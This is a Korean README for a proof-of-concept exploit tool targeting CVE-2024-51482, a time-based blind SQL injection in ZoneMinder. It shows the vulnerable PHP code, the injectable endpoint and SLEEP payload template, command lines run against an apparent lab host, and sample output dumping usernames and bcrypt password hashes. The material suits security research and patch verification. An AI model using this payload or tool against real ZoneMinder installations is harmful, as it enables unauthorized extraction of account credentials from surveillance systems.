CVE-2024-51482 — ZoneMinder 시간 기반 블라인드 SQL 인젝션

CVE-2024-51482에 대한 개념 증명 익스플로잇입니다. *ZoneMinder v1.37. ≤ 1.37.64**에서 발견된 인증된 시간 기반 블라인드 SQL 인젝션 취약점입니다.

이 스크립트는 SLEEP() 기반 오라클을 통해 이진 검색(이분법)을 사용하여 zm.Users 테이블에서 사용자 이름과 비밀번호 해시를 추출합니다.

취약점

web/ajax/event.php의 removetag 핸들러는 DELETE 쿼리를 안전하게 매개변수화하지만 이후 SELECT 쿼리에 사용자 제어 입력을 직접 보간(interpolate)합니다:

// Safe — parameterized
dbQuery('DELETE FROM Events_Tags WHERE TagId = ? AND EventId = ?', array($tagId, $_REQUEST['id']));

// Vulnerable — string interpolation
$sql = "SELECT * FROM Events_Tags WHERE TagId = $tagId";
$rowCount = dbNumRows($sql);

$tagId는 $_REQUEST['tid']에서 직접 가져오며 살균 처리되지 않아 tid 매개변수를 통한 인젝션이 가능합니다.

요구 사항

Python 3.8+
requests (pip install requests)
로그인된 ZoneMinder 계정의 유효한 ZMSESSID 세션 쿠키

사용법

python3 CVE-2024-51482.py --url <TARGET_URL> --zmsessid <SESSION_COOKIE>

인자:

--url — ZoneMinder 기본 URL (예: http://cctv.htb/zm) (필수)
--zmsessid — ZMSESSID 쿠키 값 (필수)
--sleep — 시간 기반 추론을 위한 지연 초 (기본값: 3)
--timeout — 요청 시간 초과 (초) (기본값: sleep + 3)

예시:

# 기본
python3 CVE-2024-51482.py --url http://cctv.htb/zm --zmsessid gofls5ln2jubbehfulf32j54mh

# 저지연 네트워크에서 더 빠르게
python3 CVE-2024-51482.py --url http://cctv.htb/zm --zmsessid gofls5ln2jubbehfulf32j54mh --sleep 2

# 사용자 지정 시간 초과
python3 CVE-2024-51482.py --url http://cctv.htb/zm --zmsessid gofls5ln2jubbehfulf32j54mh --sleep 3 --timeout 10

세션 쿠키 얻기

ZoneMinder에 로그인한 후, 브라우저 개발자 도구(F12) -> Application -> Cookies로 이동하여 ZMSESSID 값을 복사하십시오. 또는 Burp Suite에서 인증된 요청을 가로채서 Cookie 헤더에서 가져옵니다.

출력

[*] Baseline check...
[*] Baseline: 0.62s
[*] Testing injection...
[*] Sleep test: 2.66s
[+] Injection confirmed!

[*] Dumping ZoneMinder Users...

[*] Counting rows in zm.Users...
[+] Found 3 user(s)

[*] Extracting username 1/3...
[*] Length: 5
[*] admin
[+] Username: admin
[*] Extracting password for 'admin'...
[*] Length: 60
[*] $2y$10$t5z8uIT.n9uCdHCNidcLf.39T1Ui9nrlCkdXrzJMnJgkTiAvRUM6m
[+] Password hash: $2y$10$t5z8uIT.n9uCdHCNidcLf.39T1Ui9nrlCkdXrzJMnJgkTiAvRUM6m

[*] Extracting username 2/3...
[*] Length: 4
[*] mark
[+] Username: mark
[*] Extracting password for 'mark'...
[*] Length: 60
[*] $2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.
[+] Password hash: $2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.

[*] Extracting username 3/3...
[*] Length: 10
[*] superadmin
[+] Username: superadmin
[*] Extracting password for 'superadmin'...
[*] Length: 60
[*] $2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm
[+] Password hash: $2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm

==================================================
DUMP COMPLETE
==================================================
admin      : $2y$10$t5z8uIT.n9uCdHCNidcLf.39T1Ui9nrlCkdXrzJMnJgkTiAvRUM6m
mark       : $2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.
superadmin : $2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm

작동 방식

기준 측정 — 정상 응답 시간을 측정하기 위해 tid=1 요청을 보냅니다.
확인 — SLEEP(2)를 주입하고 응답이 2초 이상 지연되는지 확인합니다.
행 수 — zm.Users에서 COUNT(*)를 이진 검색하여 존재하는 계정 수를 찾습니다.
추출 — 각 사용자에 대해 Username과 Password의 모든 문자의 ASCII 값을 이진 검색합니다 (문자당 약 7번 요청, 선형 스캔은 95번).

페이로드 구조:

GET /zm/index.php?view=request&request=event&action=removetag&tid=<PAYLOAD>&id=1

1 AND (SELECT 1 FROM (SELECT SLEEP(3) FROM DUAL WHERE <condition>) as dummy)

id=1이 필요한 이유는 취약한 SELECT 앞의 안전한 DELETE가 없으면 500 오류가 발생하여 인젝션에 도달하기 전에 실행이 중단되기 때문입니다.

참고 자료

면책 조항

이 도구는 공인된 보안 테스트 및 교육 연구 목적으로만 사용됩니다.
소유하지 않은 시스템을 테스트하기 전에 항상 명시적인 서면 허가를 받으십시오.
저자는 이 소프트웨어의 오용이나 손해에 대해 어떠한 책임도 지지 않습니다.

CVE-2024-51482

인기